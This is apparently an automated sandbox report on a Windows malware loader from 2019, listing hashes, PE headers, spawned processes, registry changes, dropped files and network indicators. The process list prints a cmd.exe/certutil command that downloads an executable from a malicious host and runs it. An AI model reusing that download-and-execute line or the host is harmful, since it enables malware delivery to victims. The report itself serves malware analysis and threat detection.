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| File name: | c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a |
| Full analysis: | https://app.any.run/tasks/1f5a333e-3820-49e3-944a-c868adc499d1 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | July 17, 2019, 11:36:28 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-dosexec |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows |
| MD5: | 056762E2B205B6D6DCBCEFB5DFF0BAD2 |
| SHA1: | 94838C5EE660FC1E56296DC101B04BF83DB02347 |
| SHA256: | C7BF075897A26B2BF80F947EAFA6C4F5F4187C6B2AF84F21DE290736E2D3257A |
| SSDEEP: | 3072:nBwbBCHDKSh//BRkWEBhzNr1qvH5we+2arB9hotJYtg0Mu3jY+EL3Y8+OS4r:BwbBiLh7kFZI5q2kXg+8+M |
MALICIOUS
Application was dropped or rewritten from another process
- nmbsawer.exe (PID: 1708)
Starts CertUtil for downloading files
- cmd.exe (PID: 2836)
SUSPICIOUS
Starts CMD.EXE for commands execution
- c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe (PID: 3724)
Executable content was dropped or overwritten
- c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe (PID: 3724)
Creates files in the user directory
- c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe (PID: 3724)
Changes tracing settings of the file or console
- c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe (PID: 3724)
INFO
No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | InstallShield setup (36.8) |
|---|---|---|
| .exe | | | Win32 Executable MS Visual C++ (generic) (26.6) |
| .exe | | | Win64 Executable (generic) (23.6) |
| .dll | | | Win32 Dynamic Link Library (generic) (5.6) |
| .exe | | | Win32 Executable (generic) (3.8) |
EXIF
EXE
| Subsystem: | Windows GUI |
|---|---|
| SubsystemVersion: | 4 |
| ImageVersion: | - |
| OSVersion: | 4 |
| EntryPoint: | 0x66f7 |
| UninitializedDataSize: | - |
| InitializedDataSize: | 114688 |
| CodeSize: | 102400 |
| LinkerVersion: | 6 |
| PEType: | PE32 |
| TimeStamp: | 2019:05:03 02:47:19+02:00 |
| MachineType: | Intel 386 or later, and compatibles |
Summary
| Architecture: | IMAGE_FILE_MACHINE_I386 |
|---|---|
| Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
| Compilation Date: | 03-May-2019 00:47:19 |
DOS Header
| Magic number: | MZ |
|---|---|
| Bytes on last page of file: | 0x0090 |
| Pages in file: | 0x0003 |
| Relocations: | 0x0000 |
| Size of header: | 0x0004 |
| Min extra paragraphs: | 0x0000 |
| Max extra paragraphs: | 0xFFFF |
| Initial SS value: | 0x0000 |
| Initial SP value: | 0x00B8 |
| Checksum: | 0x0000 |
| Initial IP value: | 0x0000 |
| Initial CS value: | 0x0000 |
| Overlay number: | 0x0000 |
| OEM identifier: | 0x0000 |
| OEM information: | 0x0000 |
| Address of NE header: | 0x000000F8 |
PE Headers
| Signature: | PE |
|---|---|
| Machine: | IMAGE_FILE_MACHINE_I386 |
| Number of sections: | 3 |
| Time date stamp: | 03-May-2019 00:47:19 |
| Pointer to Symbol Table: | 0x00000000 |
| Number of symbols: | 0 |
| Size of Optional Header: | 0x00E0 |
| Characteristics: |
|
Sections
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
|---|---|---|---|---|---|
.text | 0x00001000 | 0x0001899E | 0x00019000 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 6.59184 |
.rdata | 0x0001A000 | 0x00004BBC | 0x00005000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.47208 |
.data | 0x0001F000 | 0x0002BE64 | 0x00017000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 4.7758 |
Imports
ADVAPI32.dll |
COMCTL32.dll |
GDI32.dll |
KERNEL32.DLL |
RASAPI32.dll |
SHELL32.dll |
SHLWAPI.dll |
USER32.dll |
WININET.dll |
WINSPOOL.DRV |
Total processes
37
Monitored processes
4
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 3724 | "C:\Users\admin\AppData\Local\Temp\c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe" | C:\Users\admin\AppData\Local\Temp\c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | explorer.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 1708 | C:\WebKitSdk\2.25.14\nmbsawer.exe | C:\WebKitSdk\2.25.14\nmbsawer.exe | — | c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe |
User: admin Integrity Level: MEDIUM Description: Wzd MFC Application Exit code: 0 Version: 1, 0, 0, 1 | ||||
| 2836 | cmd.exe /c certutil.exe -urlcache -split -f http://fid.hognoob.se/wercplshost.exe %SystemRoot%\Temp\wercplshost.exe & %SystemRoot%\Temp\wercplshost.exe | C:\Windows\system32\cmd.exe | — | c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 1456 | certutil.exe -urlcache -split -f http://fid.hognoob.se/wercplshost.exe C:\Windows\Temp\wercplshost.exe | C:\Windows\system32\certutil.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
Total events
61
Read events
43
Write events
18
Delete events
0
Modification events
| (PID) Process: | (3724) c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3724) c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3724) c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3724) c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3724) c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (3724) c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (3724) c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (3724) c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (3724) c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (3724) c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\RASMANCS |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
Executable files
1
Suspicious files
0
Text files
0
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1708 | nmbsawer.exe | \Device\HarddiskVolume2\Users\admin\AppData\Local\VirtualStore\Windows\System32\1560703.bak | — | |
MD5:— | SHA256:— | |||
| 3724 | c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | C:\WebKitSdk\2.25.14\wercplshost.exe | — | |
MD5:— | SHA256:— | |||
| 3724 | c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | C:\Users\admin\AppData\Local\Temp\1590765\....\TemporaryFile | — | |
MD5:— | SHA256:— | |||
| 3724 | c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | C:\Users\admin\AppData\Local\Temp\1590765\TemporaryFile | — | |
MD5:— | SHA256:— | |||
| 3724 | c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | C:\WebKitSdk\2.25.14\nmbsawer.exe | executable | |
MD5:EABDC54C61088B769E9AF917AA6B05A4 | SHA256:51E880F62A34CF8C49B343EFF2F94F75FB8060EDEA4F3B29E2230DC120D4D38F | |||
| 3724 | c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat | dat | |
MD5:D7A950FEFD60DBAA01DF2D85FEFB3862 | SHA256:75D0B1743F61B76A35B1FEDD32378837805DE58D79FA950CB6E8164BFA72073A | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3724 | c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | GET | — | 107.174.20.105:80 | http://fid.hognoob.se/wercplshost.exe | US | — | — | malicious |
1456 | certutil.exe | GET | — | 107.174.20.105:80 | http://fid.hognoob.se/wercplshost.exe | US | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3724 | c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | 107.174.20.105:80 | fid.hognoob.se | Nexeon Technologies, Inc. | US | suspicious |
1456 | certutil.exe | 107.174.20.105:80 | fid.hognoob.se | Nexeon Technologies, Inc. | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
fid.hognoob.se |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3724 | c7bf075897a26b2bf80f947eafa6c4f5f4187c6b2af84f21de290736e2d3257a.exe | Potential Corporate Privacy Violation | ET POLICY Unsupported/Fake Windows NT Version 5.0 |